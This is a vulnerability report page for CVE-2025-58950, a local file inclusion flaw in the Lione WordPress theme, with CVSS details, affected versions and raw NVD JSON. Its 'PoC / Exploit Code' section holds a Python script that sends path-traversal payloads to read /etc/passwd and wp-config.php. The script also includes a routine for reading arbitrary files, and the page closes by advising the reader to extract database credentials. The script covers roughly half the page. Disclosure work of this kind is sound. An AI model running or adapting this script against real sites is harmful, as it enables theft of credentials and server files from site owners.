Security Vulnerability Report
中文
CVE-2025-58950 CVSS 8.1 HIGH

CVE-2025-58950

Published: 2025-12-18 08:16:03
Last Modified: 2026-04-27 20:16:22

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Lione lione allows PHP Local File Inclusion.This issue affects Lione: from n/a through <= 1.16.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:axiomthemes:lione:*:*:*:*:*:wordpress:*:* - VULNERABLE
Lione <= 1.16

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-58950 LFI PoC - Lione Theme Local File Inclusion # Target: WordPress site using Lione theme <= 1.16 # Author: Security Researcher # Reference: https://patchstack.com/database/Wordpress/Theme/lione/vulnerability/wordpress-lione-theme-1-16-local-file-inclusion-vulnerability import requests import sys def test_lfi(target_url): """ Test for Local File Inclusion vulnerability in Lione theme """ # Common LFI parameters used in WordPress themes lfi_params = ['file', 'page', 'template', 'action', 'load', 'view'] # Sensitive files to test test_files = [ '/etc/passwd', '../../etc/passwd', '../../../etc/passwd', '/etc/hostname', '../../../../etc/passwd', '/var/www/html/wp-config.php', '../../var/www/html/wp-config.php', '../../../var/www/html/wp-config.php' ] print(f"[*] Testing Lione theme LFI vulnerability on: {target_url}") print(f"[*] Target version: <= 1.16") print("-" * 60) for param in lfi_params: for test_file in test_files: try: # Construct the malicious URL payload = {param: test_file} response = requests.get(target_url, params=payload, timeout=10, verify=False) # Check if the file content is leaked if 'root:' in response.text and '/bin/' in response.text: print(f"[!] VULNERABLE! Parameter: {param}") print(f"[!] Payload: {test_file}") print(f"[!] File content leaked:") # Extract and display relevant content lines = response.text.split('\n') for line in lines[:10]: if 'root:' in line or 'www-data:' in line: print(f" {line}") return True # Check for wp-config.php leak if 'DB_NAME' in response.text and 'DB_USER' in response.text: print(f"[!] VULNERABLE! wp-config.php leaked!") print(f"[!] Parameter: {param}, Payload: {test_file}") return True except requests.exceptions.RequestException as e: print(f"[-] Error testing {param}={test_file}: {e}") continue print("[*] No obvious LFI vulnerability detected with basic tests") return False def exploit_lfi(target_url, param, file_path): """ Exploit the LFI to read arbitrary files """ print(f"[*] Exploiting LFI to read: {file_path}") try: response = requests.get(target_url, params={param: file_path}, timeout=10, verify=False) if response.status_code == 200: print(f"[+] File content ({len(response.text)} bytes):") print(response.text[:2000]) # Print first 2000 chars return response.text else: print(f"[-] Failed to retrieve file (Status: {response.status_code})") except Exception as e: print(f"[-] Error: {e}") return None if __name__ == '__main__': if len(sys.argv) < 2: print("Usage: python cve-2025-58950.py <target_url>") print("Example: python cve-2025-58950.py http://target.com/wp-content/themes/lione/") sys.exit(1) target = sys.argv[1] if not target.endswith('/'): target += '/' # Test for vulnerability is_vulnerable = test_lfi(target) if is_vulnerable: print("\n[*] Vulnerability confirmed! Manual exploitation possible.") print("[*] Try reading wp-config.php for database credentials:") print(f"[*] python cve-2025-58950.py {target} exploit file ../../var/www/html/wp-config.php")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58950", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:16:02.890", "lastModified": "2026-04-27T20:16:22.307", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Lione lione allows PHP Local File Inclusion.This issue affects Lione: from n/a through <= 1.16."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:axiomthemes:lione:*:*:*:*:*:wordpress:*:*", "versionEndIncluding": "1.16", "matchCriteriaId": "89D09DAC-9479-40CD-AAD6-735CCF941877"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/lione/vulnerability/wordpress-lione-theme-1-16-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}